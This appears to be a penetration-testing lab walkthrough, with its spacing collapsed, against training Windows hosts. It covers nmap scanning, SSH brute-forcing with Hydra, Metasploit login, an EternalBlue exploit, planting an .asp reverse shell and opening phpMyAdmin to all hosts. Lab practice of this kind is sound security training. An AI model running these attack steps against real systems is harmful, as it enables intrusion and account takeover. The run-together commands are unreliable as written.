Obtain the target IP address from the /etc/hosts file
cat/etc/hosts10.2.29.246demo.ine.localping10.2.29.246pingdemo.ine.localcdDesktopmkdirWin2k8cdWiWin2k8/# To store all the notes and files about the target
Perform an advanced nmap scan and export it into an xml file
nmap-T4-PA-sC-sV-p1-1000010.2.29.246-oXnmap_10k# -T4 = Aggressive speed scan# -PA = TCP ACK discovery# -sC = default NSE scripts# -sV = service version detection# -p 1-10000 = ports range# -oX = XML output file# A full port range scan can be also done, not necessary here# nmap -T4 -PA -sC -sV -p- 10.2.29.246 -oX nmap_all
ls229EnteringExtendedPassiveMode (|||49567|)125Dataconnectionalreadyopen; Transferstarting.10-28-2107:22AM<DIR>aspnet_client10-28-2107:19AM28caidao.asp10-28-2107:18AM34251hahaha.jpg10-28-2107:18AM1116928index.html10-28-2107:18AM2439511seven_of_hearts.html10-28-2107:18AM384916six_of_diamonds.zip10-28-2107:22AM184946welcome.png# Web server home directory
IIS can execute .asp files
Generate an .asp reverse shell payload and upload it with FTP
searchsploitOpenSSH7.1# Use username enumeration if needed
Brute-force SSH
hydra-lvagrant-P/usr/share/wordlists/metasploit/unix_users.txt10.2.16.83sshhydra-ladministrator/usr/share/wordlists/metasploit/unix_users.txt10.2.16.83ssh# No valid password for SSH - administrator
sshvagrant@10.2.16.83# vagrant:vagrant# WORKS!sshadministrator@10.2.16.83# administrator:vagrant# DOES NOT work!netlocalgroupadministrators# "vagrant" is in the Administrators Group
Obtain a Meterpreter session
msfconsole
useauxiliary/scanner/ssh/ssh_loginsetgRHOST10.2.16.83setgRHOSTS10.2.16.83setUSERNAMEvagrantsetPASSWORDvagrantrunsession1# CTRL+Z to backgroundsessions-u1 [-] TargetisrunningWindowsonanunsupportedarchitecturesuchasWindowsARM!# The manual msfvenom payload upload can be tried
[+] 10.2.26.45:3306 - 10.2.26.45:3306 - Found remote MySQL version 5.5.20[!] 10.2.26.45:3306 - No active DB -- Credential data will not be saved![+] 10.2.26.45:3306-10.2.26.45:3306-Success:'root:'
Access the target through SMB and modify phpMyAdmin configuration file
# Open the MSF tabuseexploit/windows/smb/ms17_010_eternalbluesetRHOSTS10.2.26.45run
sysinfo
Move into the wamp folder
cd/cdwampdircdwww\\wordpresscatwp-config.php
Change WordPress admin password
cdC:\\wamp\\aliasdownloadphpmyadmin.conf# In another terminal modify the filevim/root/Desktop/phpmyadmin.conf# modify it by deleting the lines under "AllowOverride all" and insertAllowfromall# Write and close
# In the MSFconsoleuploadphpmyadmin.conf# Apache service must be restartedshellnetstopwampapachenetstartwampapache
Access phpMyAdmin
http://10.2.26.45:8585/phpmyadmin/
it automatically logs in since the root password is null